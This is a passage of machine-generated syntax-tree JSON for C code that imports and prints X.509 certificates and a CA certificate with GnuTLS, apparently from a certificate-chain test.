151, "column": 2}, "end_point": {"row": 151, "column": 10}}, {"id": 460, "type": "identifier", "text": "tmp", "parent": 459, "children": [], "start_point": {"row": 151, "column": 2}, "end_point": {"row": 151, "column": 5}}, {"id": 461, "type": "field_identifier", "text": "size", "parent": 459, "children": [], "start_point": {"row": 151, "column": 6}, "end_point": {"row": 151, "column": 10}}, {"id": 462, "type": "=", "text": "=", "parent": 458, "children": [], "start_point": {"row": 151, "column": 11}, "end_point": {"row": 151, "column": 12}}, {"id": 463, "type": "call_expression", "text": "strlen(chains[idx].chain[j])", "parent": 458, "children": [464, 465], "start_point": {"row": 151, "column": 13}, "end_point": {"row": 151, "column": 41}}, {"id": 464, "type": "identifier", "text": "strlen", "parent": 463, "children": [], "start_point": {"row": 151, "column": 13}, "end_point": {"row": 151, "column": 19}}, {"id": 465, "type": "argument_list", "text": "(chains[idx].chain[j])", "parent": 463, "children": [466], "start_point": {"row": 151, "column": 19}, "end_point": {"row": 151, "column": 41}}, {"id": 466, "type": "subscript_expression", "text": "chains[idx].chain[j]", "parent": 465, "children": [467, 472], "start_point": {"row": 151, "column": 20}, "end_point": {"row": 151, "column": 40}}, {"id": 467, "type": "field_expression", "text": "chains[idx].chain", "parent": 466, "children": [468, 471], "start_point": {"row": 151, "column": 20}, "end_point": {"row": 151, "column": 37}}, {"id": 468, "type": "subscript_expression", "text": "chains[idx]", "parent": 467, "children": [469, 470], "start_point": {"row": 151, "column": 20}, "end_point": {"row": 151, "column": 31}}, {"id": 469, "type": "identifier", "text": "chains", "parent": 468, "children": [], "start_point": {"row": 151, "column": 20}, "end_point": {"row": 151, "column": 26}}, {"id": 470, "type": "identifier", "text": "idx", "parent": 468, "children": [], "start_point": {"row": 151, "column": 27}, "end_point": {"row": 151, "column": 30}}, {"id": 471, "type": "field_identifier", "text": "chain", "parent": 467, "children": [], "start_point": {"row": 151, "column": 32}, "end_point": {"row": 151, "column": 37}}, {"id": 472, "type": "identifier", "text": "j", "parent": 466, "children": [], "start_point": {"row": 151, "column": 38}, "end_point": {"row": 151, "column": 39}}, {"id": 473, "type": "assignment_expression", "text": "ret =\n\t\t gnutls_x509_crt_import(certs[j], &tmp,\n\t\t\t\t\t GNUTLS_X509_FMT_PEM)", "parent": 371, "children": [474, 475, 476], "start_point": {"row": 153, "column": 2}, "end_point": {"row": 155, "column": 28}}, {"id": 474, "type": "identifier", "text": "ret", "parent": 473, "children": [], "start_point": {"row": 153, "column": 2}, "end_point": {"row": 153, "column": 5}}, {"id": 475, "type": "=", "text": "=", "parent": 473, "children": [], "start_point": {"row": 153, "column": 6}, "end_point": {"row": 153, "column": 7}}, {"id": 476, "type": "call_expression", "text": "gnutls_x509_crt_import(certs[j], &tmp,\n\t\t\t\t\t GNUTLS_X509_FMT_PEM)", "parent": 473, "children": [477, 478], "start_point": {"row": 154, "column": 6}, "end_point": {"row": 155, "column": 28}}, {"id": 477, "type": "identifier", "text": "gnutls_x509_crt_import", "parent": 476, "children": [], "start_point": {"row": 154, "column": 6}, "end_point": {"row": 154, "column": 28}}, {"id": 478, "type": "argument_list", "text": "(certs[j], &tmp,\n\t\t\t\t\t GNUTLS_X509_FMT_PEM)", "parent": 476, "children": [479, 482, 484], "start_point": {"row": 154, "column": 28}, "end_point": {"row": 155, "column": 28}}, {"id": 479, "type": "subscript_expression", "text": "certs[j]", "parent": 478, "children": [480, 481], "start_point": {"row": 154, "column": 29}, "end_point": {"row": 154, "column": 37}}, {"id": 480, "type": "identifier", "text": "certs", "parent": 479, "children": [], "start_point": {"row": 154, "column": 29}, "end_point": {"row": 154, "column": 34}}, {"id": 481, "type": "identifier", "text": "j", "parent": 479, "children": [], "start_point": {"row": 154, "column": 35}, "end_point": {"row": 154, "column": 36}}, {"id": 482, "type": "pointer_expression", "text": "&tmp", "parent": 478, "children": [483], "start_point": {"row": 154, "column": 39}, "end_point": {"row": 154, "column": 43}}, {"id": 483, "type": "identifier", "text": "tmp", "parent": 482, "children": [], "start_point": {"row": 154, "column": 40}, "end_point": {"row": 154, "column": 43}}, {"id": 484, "type": "identifier", "text": "GNUTLS_X509_FMT_PEM", "parent": 478, "children": [], "start_point": {"row": 155, "column": 8}, "end_point": {"row": 155, "column": 27}}, {"id": 485, "type": "if_statement", "text": "if (debug > 2)\n\t\t\tprintf(\"done\\n\");", "parent": 371, "children": [486], "start_point": {"row": 156, "column": 2}, "end_point": {"row": 157, "column": 20}}, {"id": 486, "type": "parenthesized_expression", "text": "(debug > 2)", "parent": 485, "children": [487], "start_point": {"row": 156, "column": 5}, "end_point": {"row": 156, "column": 16}}, {"id": 487, "type": "binary_expression", "text": "debug > 2", "parent": 486, "children": [488, 489, 490], "start_point": {"row": 156, "column": 6}, "end_point": {"row": 156, "column": 15}}, {"id": 488, "type": "identifier", "text": "debug", "parent": 487, "children": [], "start_point": {"row": 156, "column": 6}, "end_point": {"row": 156, "column": 11}}, {"id": 489, "type": ">", "text": ">", "parent": 487, "children": [], "start_point": {"row": 156, "column": 12}, "end_point": {"row": 156, "column": 13}}, {"id": 490, "type": "number_literal", "text": "2", "parent": 487, "children": [], "start_point": {"row": 156, "column": 14}, "end_point": {"row": 156, "column": 15}}, {"id": 491, "type": "call_expression", "text": "printf(\"done\\n\")", "parent": 485, "children": [492, 493], "start_point": {"row": 157, "column": 3}, "end_point": {"row": 157, "column": 19}}, {"id": 492, "type": "identifier", "text": "printf", "parent": 491, "children": [], "start_point": {"row": 157, "column": 3}, "end_point": {"row": 157, "column": 9}}, {"id": 493, "type": "argument_list", "text": "(\"done\\n\")", "parent": 491, "children": [494], "start_point": {"row": 157, "column": 9}, "end_point": {"row": 157, "column": 19}}, {"id": 494, "type": "string_literal", "text": "\"done\\n\"", "parent": 493, "children": [495], "start_point": {"row": 157, "column": 10}, "end_point": {"row": 157, "column": 18}}, {"id": 495, "type": "escape_sequence", "text": "\\n", "parent": 494, "children": [], "start_point": {"row": 157, "column": 15}, "end_point": {"row": 157, "column": 17}}, {"id": 496, "type": "if_statement", "text": "if (ret < 0) {\n\t\t\tfprintf(stderr,\n\t\t\t\t\"gnutls_x509_crt_import[%s,%d]: %s\\n\",\n\t\t\t\tchains[idx].name, (int) j,\n\t\t\t\tgnutls_strerror(ret));\n\t\t\texit(1);\n\t\t}", "parent": 371, "children": [497], "start_point": {"row": 158, "column": 2}, "end_point": {"row": 164, "column": 3}}, {"id": 497, "type": "parenthesized_expression", "text": "(ret < 0)", "parent": 496, "children": [498], "start_point": {"row": 158, "column": 5}, "end_point": {"row": 158, "column": 14}}, {"id": 498, "type": "binary_expression", "text": "ret < 0", "parent": 497, "children": [499, 500, 501], "start_point": {"row": 158, "column": 6}, "end_point": {"row": 158, "column": 13}}, {"id": 499, "type": "identifier", "text": "ret", "parent": 498, "children": [], "start_point": {"row": 158, "column": 6}, "end_point": {"row": 158, "column": 9}}, {"id": 500, "type": "<", "text": "<", "parent": 498, "children": [], "start_point": {"row": 158, "column": 10}, "end_point": {"row": 158, "column": 11}}, {"id": 501, "type": "number_literal", "text": "0", "parent": 498, "children": [], "start_point": {"row": 158, "column": 12}, "end_point": {"row": 158, "column": 13}}, {"id": 502, "type": "call_expression", "text": "fprintf(stderr,\n\t\t\t\t\"gnutls_x509_crt_import[%s,%d]: %s\\n\",\n\t\t\t\tchains[idx].name, (int) j,\n\t\t\t\tgnutls_strerror(ret))", "parent": 496, "children": [503, 504], "start_point": {"row": 159, "column": 3}, "end_point": {"row": 162, "column": 25}}, {"id": 503, "type": "identifier", "text": "fprintf", "parent": 502, "children": [], "start_point": {"row": 159, "column": 3}, "end_point": {"row": 159, "column": 10}}, {"id": 504, "type": "argument_list", "text": "(stderr,\n\t\t\t\t\"gnutls_x509_crt_import[%s,%d]: %s\\n\",\n\t\t\t\tchains[idx].name, (int) j,\n\t\t\t\tgnutls_strerror(ret))", "parent": 502, "children": [505, 506, 508, 513, 517], "start_point": {"row": 159, "column": 10}, "end_point": {"row": 162, "column": 25}}, {"id": 505, "type": "identifier", "text": "stderr", "parent": 504, "children": [], "start_point": {"row": 159, "column": 11}, "end_point": {"row": 159, "column": 17}}, {"id": 506, "type": "string_literal", "text": "\"gnutls_x509_crt_import[%s,%d]: %s\\n\"", "parent": 504, "children": [507], "start_point": {"row": 160, "column": 4}, "end_point": {"row": 160, "column": 41}}, {"id": 507, "type": "escape_sequence", "text": "\\n", "parent": 506, "children": [], "start_point": {"row": 160, "column": 38}, "end_point": {"row": 160, "column": 40}}, {"id": 508, "type": "field_expression", "text": "chains[idx].name", "parent": 504, "children": [509, 512], "start_point": {"row": 161, "column": 4}, "end_point": {"row": 161, "column": 20}}, {"id": 509, "type": "subscript_expression", "text": "chains[idx]", "parent": 508, "children": [510, 511], "start_point": {"row": 161, "column": 4}, "end_point": {"row": 161, "column": 15}}, {"id": 510, "type": "identifier", "text": "chains", "parent": 509, "children": [], "start_point": {"row": 161, "column": 4}, "end_point": {"row": 161, "column": 10}}, {"id": 511, "type": "identifier", "text": "idx", "parent": 509, "children": [], "start_point": {"row": 161, "column": 11}, "end_point": {"row": 161, "column": 14}}, {"id": 512, "type": "field_identifier", "text": "name", "parent": 508, "children": [], "start_point": {"row": 161, "column": 16}, "end_point": {"row": 161, "column": 20}}, {"id": 513, "type": "cast_expression", "text": "(int) j", "parent": 504, "children": [514, 516], "start_point": {"row": 161, "column": 22}, "end_point": {"row": 161, "column": 29}}, {"id": 514, "type": "type_descriptor", "text": "int", "parent": 513, "children": [515], "start_point": {"row": 161, "column": 23}, "end_point": {"row": 161, "column": 26}}, {"id": 515, "type": "primitive_type", "text": "int", "parent": 514, "children": [], "start_point": {"row": 161, "column": 23}, "end_point": {"row": 161, "column": 26}}, {"id": 516, "type": "identifier", "text": "j", "parent": 513, "children": [], "start_point": {"row": 161, "column": 28}, "end_point": {"row": 161, "column": 29}}, {"id": 517, "type": "call_expression", "text": "gnutls_strerror(ret)", "parent": 504, "children": [518, 519], "start_point": {"row": 162, "column": 4}, "end_point": {"row": 162, "column": 24}}, {"id": 518, "type": "identifier", "text": "gnutls_strerror", "parent": 517, "children": [], "start_point": {"row": 162, "column": 4}, "end_point": {"row": 162, "column": 19}}, {"id": 519, "type": "argument_list", "text": "(ret)", "parent": 517, "children": [520], "start_point": {"row": 162, "column": 19}, "end_point": {"row": 162, "column": 24}}, {"id": 520, "type": "identifier", "text": "ret", "parent": 519, "children": [], "start_point": {"row": 162, "column": 20}, "end_point": {"row": 162, "column": 23}}, {"id": 521, "type": "call_expression", "text": "exit(1)", "parent": 496, "children": [522, 523], "start_point": {"row": 163, "column": 3}, "end_point": {"row": 163, "column": 10}}, {"id": 522, "type": "identifier", "text": "exit", "parent": 521, "children": [], "start_point": {"row": 163, "column": 3}, "end_point": {"row": 163, "column": 7}}, {"id": 523, "type": "argument_list", "text": "(1)", "parent": 521, "children": [524], "start_point": {"row": 163, "column": 7}, "end_point": {"row": 163, "column": 10}}, {"id": 524, "type": "number_literal", "text": "1", "parent": 523, "children": [], "start_point": {"row": 163, "column": 8}, "end_point": {"row": 163, "column": 9}}, {"id": 525, "type": "call_expression", "text": "gnutls_x509_crt_print(certs[j],\n\t\t\t\t GNUTLS_CRT_PRINT_ONELINE,\n\t\t\t\t &tmp)", "parent": 371, "children": [526, 527], "start_point": {"row": 166, "column": 2}, "end_point": {"row": 168, "column": 15}}, {"id": 526, "type": "identifier", "text": "gnutls_x509_crt_print", "parent": 525, "children": [], "start_point": {"row": 166, "column": 2}, "end_point": {"row": 166, "column": 23}}, {"id": 527, "type": "argument_list", "text": "(certs[j],\n\t\t\t\t GNUTLS_CRT_PRINT_ONELINE,\n\t\t\t\t &tmp)", "parent": 525, "children": [528, 531, 532], "start_point": {"row": 166, "column": 23}, "end_point": {"row": 168, "column": 15}}, {"id": 528, "type": "subscript_expression", "text": "certs[j]", "parent": 527, "children": [529, 530], "start_point": {"row": 166, "column": 24}, "end_point": {"row": 166, "column": 32}}, {"id": 529, "type": "identifier", "text": "certs", "parent": 528, "children": [], "start_point": {"row": 166, "column": 24}, "end_point": {"row": 166, "column": 29}}, {"id": 530, "type": "identifier", "text": "j", "parent": 528, "children": [], "start_point": {"row": 166, "column": 30}, "end_point": {"row": 166, "column": 31}}, {"id": 531, "type": "identifier", "text": "GNUTLS_CRT_PRINT_ONELINE", "parent": 527, "children": [], "start_point": {"row": 167, "column": 10}, "end_point": {"row": 167, "column": 34}}, {"id": 532, "type": "pointer_expression", "text": "&tmp", "parent": 527, "children": [533], "start_point": {"row": 168, "column": 10}, "end_point": {"row": 168, "column": 14}}, {"id": 533, "type": "identifier", "text": "tmp", "parent": 532, "children": [], "start_point": {"row": 168, "column": 11}, "end_point": {"row": 168, "column": 14}}, {"id": 534, "type": "if_statement", "text": "if (debug)\n\t\t\tprintf(\"\\tCertificate %d: %.*s\\n\", (int) j,\n\t\t\t tmp.size, tmp.data);", "parent": 371, "children": [535], "start_point": {"row": 169, "column": 2}, "end_point": {"row": 171, "column": 30}}, {"id": 535, "type": "parenthesized_expression", "text": "(debug)", "parent": 534, "children": [536], "start_point": {"row": 169, "column": 5}, "end_point": {"row": 169, "column": 12}}, {"id": 536, "type": "identifier", "text": "debug", "parent": 535, "children": [], "start_point": {"row": 169, "column": 6}, "end_point": {"row": 169, "column": 11}}, {"id": 537, "type": "call_expression", "text": "printf(\"\\tCertificate %d: %.*s\\n\", (int) j,\n\t\t\t tmp.size, tmp.data)", "parent": 534, "children": [538, 539], "start_point": {"row": 170, "column": 3}, "end_point": {"row": 171, "column": 29}}, {"id": 538, "type": "identifier", "text": "printf", "parent": 537, "children": [], "start_point": {"row": 170, "column": 3}, "end_point": {"row": 170, "column": 9}}, {"id": 539, "type": "argument_list", "text": "(\"\\tCertificate %d: %.*s\\n\", (int) j,\n\t\t\t tmp.size, tmp.data)", "parent": 537, "children": [540, 543, 547, 550], "start_point": {"row": 170, "column": 9}, "end_point": {"row": 171, "column": 29}}, {"id": 540, "type": "string_literal", "text": "\"\\tCertificate %d: %.*s\\n\"", "parent": 539, "children": [541, 542], "start_point": {"row": 170, "column": 10}, "end_point": {"row": 170, "column": 36}}, {"id": 541, "type": "escape_sequence", "text": "\\t", "parent": 540, "children": [], "start_point": {"row": 170, "column": 11}, "end_point": {"row": 170, "column": 13}}, {"id": 542, "type": "escape_sequence", "text": "\\n", "parent": 540, "children": [], "start_point": {"row": 170, "column": 33}, "end_point": {"row": 170, "column": 35}}, {"id": 543, "type": "cast_expression", "text": "(int) j", "parent": 539, "children": [544, 546], "start_point": {"row": 170, "column": 38}, "end_point": {"row": 170, "column": 45}}, {"id": 544, "type": "type_descriptor", "text": "int", "parent": 543, "children": [545], "start_point": {"row": 170, "column": 39}, "end_point": {"row": 170, "column": 42}}, {"id": 545, "type": "primitive_type", "text": "int", "parent": 544, "children": [], "start_point": {"row": 170, "column": 39}, "end_point": {"row": 170, "column": 42}}, {"id": 546, "type": "identifier", "text": "j", "parent": 543, "children": [], "start_point": {"row": 170, "column": 44}, "end_point": {"row": 170, "column": 45}}, {"id": 547, "type": "field_expression", "text": "tmp.size", "parent": 539, "children": [548, 549], "start_point": {"row": 171, "column": 10}, "end_point": {"row": 171, "column": 18}}, {"id": 548, "type": "identifier", "text": "tmp", "parent": 547, "children": [], "start_point": {"row": 171, "column": 10}, "end_point": {"row": 171, "column": 13}}, {"id": 549, "type": "field_identifier", "text": "size", "parent": 547, "children": [], "start_point": {"row": 171, "column": 14}, "end_point": {"row": 171, "column": 18}}, {"id": 550, "type": "field_expression", "text": "tmp.data", "parent": 539, "children": [551, 552], "start_point": {"row": 171, "column": 20}, "end_point": {"row": 171, "column": 28}}, {"id": 551, "type": "identifier", "text": "tmp", "parent": 550, "children": [], "start_point": {"row": 171, "column": 20}, "end_point": {"row": 171, "column": 23}}, {"id": 552, "type": "field_identifier", "text": "data", "parent": 550, "children": [], "start_point": {"row": 171, "column": 24}, "end_point": {"row": 171, "column": 28}}, {"id": 553, "type": "call_expression", "text": "gnutls_free(tmp.data)", "parent": 371, "children": [554, 555], "start_point": {"row": 172, "column": 2}, "end_point": {"row": 172, "column": 23}}, {"id": 554, "type": "identifier", "text": "gnutls_free", "parent": 553, "children": [], "start_point": {"row": 172, "column": 2}, "end_point": {"row": 172, "column": 13}}, {"id": 555, "type": "argument_list", "text": "(tmp.data)", "parent": 553, "children": [556], "start_point": {"row": 172, "column": 13}, "end_point": {"row": 172, "column": 23}}, {"id": 556, "type": "field_expression", "text": "tmp.data", "parent": 555, "children": [557, 558], "start_point": {"row": 172, "column": 14}, "end_point": {"row": 172, "column": 22}}, {"id": 557, "type": "identifier", "text": "tmp", "parent": 556, "children": [], "start_point": {"row": 172, "column": 14}, "end_point": {"row": 172, "column": 17}}, {"id": 558, "type": "field_identifier", "text": "data", "parent": 556, "children": [], "start_point": {"row": 172, "column": 18}, "end_point": {"row": 172, "column": 22}}, {"id": 559, "type": "if_statement", "text": "if (debug > 2)\n\t\tprintf(\"\\tAdding CA certificate...\");", "parent": 139, "children": [560], "start_point": {"row": 175, "column": 1}, "end_point": {"row": 176, "column": 39}}, {"id": 560, "type": "parenthesized_expression", "text": "(debug > 2)", "parent": 559, "children": [561], "start_point": {"row": 175, "column": 4}, "end_point": {"row": 175, "column": 15}}, {"id": 561, "type": "binary_expression", "text": "debug > 2", "parent": 560, "children": [562, 563, 564], "start_point": {"row": 175, "column": 5}, "end_point": {"row": 175, "column": 14}}, {"id": 562, "type": "identifier", "text": "debug", "parent": 561, "children": [], "start_point": {"row": 175, "column": 5}, "end_point": {"row": 175, "column": 10}}, {"id": 563, "type": ">", "text": ">", "parent": 561, "children": [], "start_point": {"row": 175, "column": 11}, "end_point": {"row": 175, "column": 12}}, {"id": 564, "type": "number_literal", "text": "2", "parent": 561, "children": [], "start_point": {"row": 175, "column": 13}, "end_point": {"row": 175, "column": 14}}, {"id": 565, "type": "call_expression", "text": "printf(\"\\tAdding CA certificate...\")", "parent": 559, "children": [566, 567], "start_point": {"row": 176, "column": 2}, "end_point": {"row": 176, "column": 38}}, {"id": 566, "type": "identifier", "text": "printf", "parent": 565, "children": [], "start_point": {"row": 176, "column": 2}, "end_point": {"row": 176, "column": 8}}, {"id": 567, "type": "argument_list", "text": "(\"\\tAdding CA certificate...\")", "parent": 565, "children": [568], "start_point": {"row": 176, "column": 8}, "end_point": {"row": 176, "column": 38}}, {"id": 568, "type": "string_literal", "text": "\"\\tAdding CA certificate...\"", "parent": 567, "children": [569], "start_point": {"row": 176, "column": 9}, "end_point": {"row": 176, "column": 37}}, {"id": 569, "type": "escape_sequence", "text": "\\t", "parent": 568, "children": [], "start_point": {"row": 176, "column": 10}, "end_point": {"row": 176, "column": 12}}, {"id": 570, "type": "assignment_expression", "text": "ret = gnutls_x509_crt_init(&ca)", "parent": 139, "children": [571, 572, 573], "start_point": {"row": 178, "column": 1}, "end_point": {"row": 178, "column": 32}}, {"id": 571, "type": "identifier", "text": "ret", "parent": 570, "children": [], "start_point": {"row": 178, "column": 1}, "end_point": {"row": 178, "column": 4}}, {"id": 572, "type": "=", "text": "=", "parent": 570, "children": [], "start_point": {"row": 178, "column": 5}, "end_point": {"row": 178, "column": 6}}, {"id": 573, "type": "call_expression", "text": "gnutls_x509_crt_init(&ca)", "parent": 570, "children": [574, 575], "start_point": {"row": 178, "column": 7}, "end_point": {"row": 178, "column": 32}}, {"id": 574, "type": "identifier", "text": "gnutls_x509_crt_init", "parent": 573, "children": [], "start_point": {"row": 178, "column": 7}, "end_point": {"row": 178, "column": 27}}, {"id": 575, "type": "argument_list", "text": "(&ca)", "parent": 573, "children": [576], "start_point": {"row": 178, "column": 27}, "end_point": {"row": 178, "column": 32}}, {"id": 576, "type": "pointer_expression", "text": "&ca", "parent": 575, "children": [577], "start_point": {"row": 178, "column": 28}, "end_point": {"row": 178, "column": 31}}, {"id": 577, "type": "identifier", "text": "ca", "parent": 576, "children": [], "start_point": {"row": 178, "column": 29}, "end_point": {"row": 178, "column": 31}}, {"id": 578, "type": "if_statement", "text": "if (ret < 0) {\n\t\tfprintf(stderr, \"gnutls_x509_crt_init: %s\\n\",\n\t\t\tgnutls_strerror(ret));\n\t\texit(1);\n\t}", "parent": 139, "children": [579], "start_point": {"row": 179, "column": 1}, "end_point": {"row": 183, "column": 2}}, {"id": 579, "type": "parenthesized_expression", "text": "(ret < 0)", "parent": 578, "children": [580], "start_point": {"row": 179, "column": 4}, "end_point": {"row": 179, "column": 13}}, {"id": 580, "type": "binary_expression", "text": "ret < 0", "parent": 579, "children": [581, 582, 583], "start_point": {"row": 179, "column": 5}, "end_point": {"row": 179, "column": 12}}, {"id": 581, "type": "identifier", "text": "ret", "parent": 580, "children": [], "start_point": {"row": 179, "column": 5}, "end_point": {"row": 179, "column": 8}}, {"id": 582, "type": "<", "text": "<", "parent": 580, "children": [], "start_point": {"row": 179, "column": 9}, "end_point": {"row": 179, "column": 10}}, {"id": 583, "type": "number_literal", "text": "0", "parent": 580, "children": [], "start_point": {"row": 179, "column": 11}, "end_point": {"row": 179, "column": 12}}, {"id": 584, "type": "call_expression", "text": "fprintf(stderr, \"gnutls_x509_crt_init: %s\\n\",\n\t\t\tgnutls_strerror(ret))", "parent": 578, "children": [585, 586], "start_point": {"row": 180, "column": 2}, "end_point": {"row": 181, "column": 24}}, {"id": 585, "type": "identifier", "text": "fprintf", "parent": 584, "children": [], "start_point": {"row": 180, "column": 2}, "end_point": {"row": 180, "column": 9}}, {"id": 586, "type": "argument_list", "text": "(stderr, \"gnutls_x509_crt_init: %s\\n\",\n\t\t\tgnutls_strerror(ret))", "parent": 584, "children": [587, 588, 590], "start_point": {"row": 180, "column": 9}, "end_point": {"row": 181, "column": 24}}, {"id": 587, "type": "identifier", "text": "stderr", "parent": 586, "children": [], "start_point": {"row": 180, "column": 10}, "end_point": {"row": 180, "column": 16}}, {"id": 588, "type": "string_literal", "text": "\"gnutls_x509_crt_init: %s\\n\"", "parent": 586, "children": [589], "start_point": {"row": 180, "column": 18}, "end_point": {"row": 180, "column": 46}}, {"id": 589, "type": "escape_sequence", "text": "\\n", "parent": 588, "children": [], "start_point": {"row": 180, "column": 43}, "end_point": {"row": 180, "column": 45}}, {"id": 590, "type": "call_expression", "text": "gnutls_strerror(ret)", "parent": 586, "children": [591, 592], "start_point": {"row": 181, "column": 3}, "end_point": {"row": 181, "column": 23}}, {"id": 591, "type": "identifier", "text": "gnutls_strerror", "parent": 590, "children": [], "start_point": {"row": 181, "column": 3}, "end_point": {"row": 181, "column": 18}}, {"id": 592, "type": "argument_list", "text": "(ret)", "parent": 590, "children": [593], "start_point": {"row": 181, "column": 18}, "end_point": {"row": 181, "column": 23}}, {"id": 593, "type": "identifier", "text": "ret", "parent": 592, "children": [], "start_point": {"row": 181, "column": 19}, "end_point": {"row": 181, "column": 22}}, {"id": 594, "type": "call_expression", "text": "exit(1)", "parent": 578, "children": [595, 596], "start_point": {"row": 182, "column": 2}, "end_point": {"row": 182, "column": 9}}, {"id": 595, "type": "identifier", "text": "exit", "parent": 594, "children": [], "start_point": {"row": 182, "column": 2}, "end_point": {"row": 182, "column": 6}}, {"id": 596, "type": "argument_list", "text": "(1)", "parent": 594, "children": [597], "start_point": {"row": 182, "column": 6}, "end_point": {"row": 182, "column": 9}}, {"id": 597, "type": "number_literal", "text": "1", "parent": 596, "children": [], "start_point": {"row": 182, "column": 7}, "end_point": {"row": 182, "column": 8}}, {"id": 598, "type": "assignment_expression", "text": "tmp.data = (unsigned char *) *chains[idx].ca", "parent": 139, "children": [599, 602, 603], "start_point": {"row": 185, "column": 1}, "end_point": {"row": 185, "column": 45}}, {"id": 599, "type": "field_expression", "text": "tmp.data", "parent": 598, "children": [600, 601], "start_point": {"row": 185, "column": 1}, "end_point": {"row": 185, "column": 9}}, {"id": 600, "type": "identifier", "text": "tmp", "parent": 599, "children": [], "start_point": {"row": 185, "column": 1}, "end_point": {"row": 185, "column": 4}}, {"id": 601, "type": "field_identifier", "text": "data", "parent": 599, "children": [], "start_point": {"row": 185, "column": 5}, "end_point": {"row": 185, "column": 9}}, {"id": 602, "type": "=", "text": "=", "parent": 598, "children": [], "start_point": {"row": 185, "column": 10}, "end_point": {"row": 185, "column": 11}}, {"id": 603, "type": "cast_expression", "text": "(unsigned char *) *chains[idx].ca", "parent": 598, "children": [604, 610], "start_point": {"row": 185, "column": 12}, "end_point": {"row": 185, "column": 45}}, {"id": 604, "type": "type_descriptor", "text": "unsigned char *", "parent": 603, "children": [605, 608], "start_point": {"row": 185, "column": 13}, "end_point": {"row": 185, "column": 28}}, {"id": 605, "type": "sized_type_specifier", "text": "unsigned char", "parent": 604, "children": [606, 607], "start_point": {"row": 185, "column": 13}, "end_point": {"row": 185, "column": 26}}, {"id": 606, "type": "unsigned", "text": "unsigned", "parent": 605, "children": [], "start_point": {"row": 185, "column": 13}, "end_point": {"row": 185, "column": 21}}, {"id": 607, "type": "primitive_type", "text": "char", "parent": 605, "children": [], "start_point": {"row": 185, "column": 22}, "end_point": {"row": 185, "column": 26}}, {"id": 608, "type": "abstract_pointer_declarator", "text": "*", "parent": 604, "children": [609], "start_point": {"row": 185, "column": 27}, "end_point": {"row": 185, "column": 28}}, {"id": 609, "type": "*", "text": "*", "parent": 608, "children": [], "start_point": {"row": 185, "column": 27}, "end_point": {"row": 185, "column": 28}}, {"id": 610, "type": "pointer_expression", "text": "*chains[idx].ca", "parent": 603, "children": [611, 612], "start_point": {"row": 185, "column": 30}, "end_point": {"row": 185, "column": 45}}, {"id": 611, "type": "*", "text": "*", "parent": 610, "children": [], "start_point": {"row": 185, "column": 30}, "end_point": {"row": 185, "column": 31}}, {"id": 612, "type": "field_expression", "text": "chains[idx].ca", "parent": 610, "children": [613, 616], "start_point": {"row": 185, "column": 31}, "end_point": {"row": 185, "column": 45}}, {"id": 613, "type": "subscript_expression", "text": "chains[idx]", "parent": 612, "children": [614, 615], "start_point": {"row": 185, "column": 31}, "end_point": {"row": 185, "column": 42}}, {"id": 614, "type": "identifier", "text": "chains", "parent": 613, "children": [], "start_point": {"row": 185, "column": 31}, "end_point": {"row": 185, "column": 37}}, {"id": 615, "type": "identifier", "text": "idx", "parent": 613, "children": [], "start_point": {"row": 185, "column": 38}, "end_point": {"row": 185, "column": 41}}, {"id": 616, "type": "field_identifier", "text": "ca", "parent": 612, "children": [], "start_point": {"row": 185, "column": 43}, "end_point": {"row": 185, "column": 45}}, {"id": 617, "type": "assignment_expression", "text": "tmp.size = strlen(*chains[idx].ca)", "parent": 139, "children": [618, 621, 622], "start_point": {"row": 186, "column": 1}, "end_point": {"row": 186, "column": 35}}, {"id": 618, "type": "field_expression", "text": "tmp.size", "parent": 617, "children": [619, 620], "start_point": {"row": 186, "column": 1}, "end_point": {"row": 186, "column": 9}}, {"id": 619, "type": "identifier", "text": "tmp", "parent": 618, "children": [], "start_point": {"row": 186, "column": 1}, "end_point": {"row": 186, "column": 4}}, {"id": 620, "type": "field_identifier", "text": "size", "parent": 618, "children": [], "start_point": {"row": 186, "column": 5}, "end_point": {"row": 186, "column": 9}}, {"id": 621, "type": "=", "text": "=", "parent": 617, "children": [], "start_point": {"row": 186, "column": 10}, "end_point": {"row": 186, "column": 11}}, {"id": 622, "type": "call_expression", "text": "strlen(*chains[idx].ca)", "parent": 617, "children": [623, 624], "start_point": {"row": 186, "column": 12}, "end_point": {"row": 186, "column": 35}}, {"id": 623, "type": "identifier", "text": "strlen", "parent": 622, "children": [], "start_point": {"row": 186, "column": 12}, "end_point": {"row": 186, "column": 18}}, {"id": 624, "type": "argument_list", "text": "(*chains[idx].ca)", "parent": 622, "children": [625], "start_point": {"row": 186, "column": 18}, "end_point": {"row": 186, "column": 35}}, {"id": 625, "type": "pointer_expression", "text": "*chains[idx].ca", "parent": 624, "children": [626, 627], "start_point": {"row": 186, "column": 19}, "end_point": {"row": 186, "column": 34}}, {"id": 626, "type": "*", "text": "*", "parent": 625, "children": [], "start_point": {"row": 186, "column": 19}, "end_point": {"row": 186, "column": 20}}, {"id": 627, "type": "field_expression", "text": "chains[idx].ca", "parent": 625, "children": [628, 631], "start_point": {"row": 186, "column": 20}, "end_point": {"row": 186, "column": 34}}, {"id": 628, "type": "subscript_expression", "text": "chains[idx]", "parent": 627, "children": [629, 630], "start_point": {"row": 186, "column": 20}, "end_point": {"row": 186, "column": 31}}, {"id": 629, "type": "identifier", "text": "chains", "parent": 628, "children": [], "start_point": {"row": 186, "column": 20}, "end_point": {"row": 186, "column": 26}}, {"id": 630, "type": "identifier", "text": "idx", "parent": 628, "children": [], "start_point": {"row": 186, "column": 27}, "end_point": {"row": 186, "column": 30}}, {"id": 631, "type": "field_identifier", "text": "ca", "parent": 627, "children": [], "start_point": {"row": 186, "column": 32}, "end_point": {"row": 186, "column": 34}}, {"id": 632, "type": "assignment_expression", "text": "ret =\n\t gnutls_x509_crt_import(ca, &tmp, GNUTLS_X509_FMT_PEM)", "parent": 139, "children": [633, 634, 635], "start_point": {"row": 188, "column": 1}, "end_point": {"row": 189, "column": 58}}, {"id": 633, "type": "identifier", "text": "ret", "parent": 632, "children": [], "start_point": {"row": 188, "column": 1}, "end_point": {"row": 188, "column": 4}}, {"id": 634, "type": "=", "text": "=", "parent": 632, "children": [], "start_point": {"row": 188, "column": 5}, "end_point": {"row": 188, "column": 6}}, {"id": 635, "type": "call_expression", "text": "gnutls_x509_crt_import(ca, &tmp, GNUTLS_X509_FMT_PEM)", "parent": 632, "children": [636, 637], "start_point": {"row": 189, "column": 5}, "end_point": {"row": 189, "column": 58}}, {"id": 636, "type": "identifier", "text": "gnutls_x509_crt_import", "parent": 635, "children": [], "start_point": {"row": 189, "column": 5}, "end_point": {"row": 189, "column": 27}}, {"id": 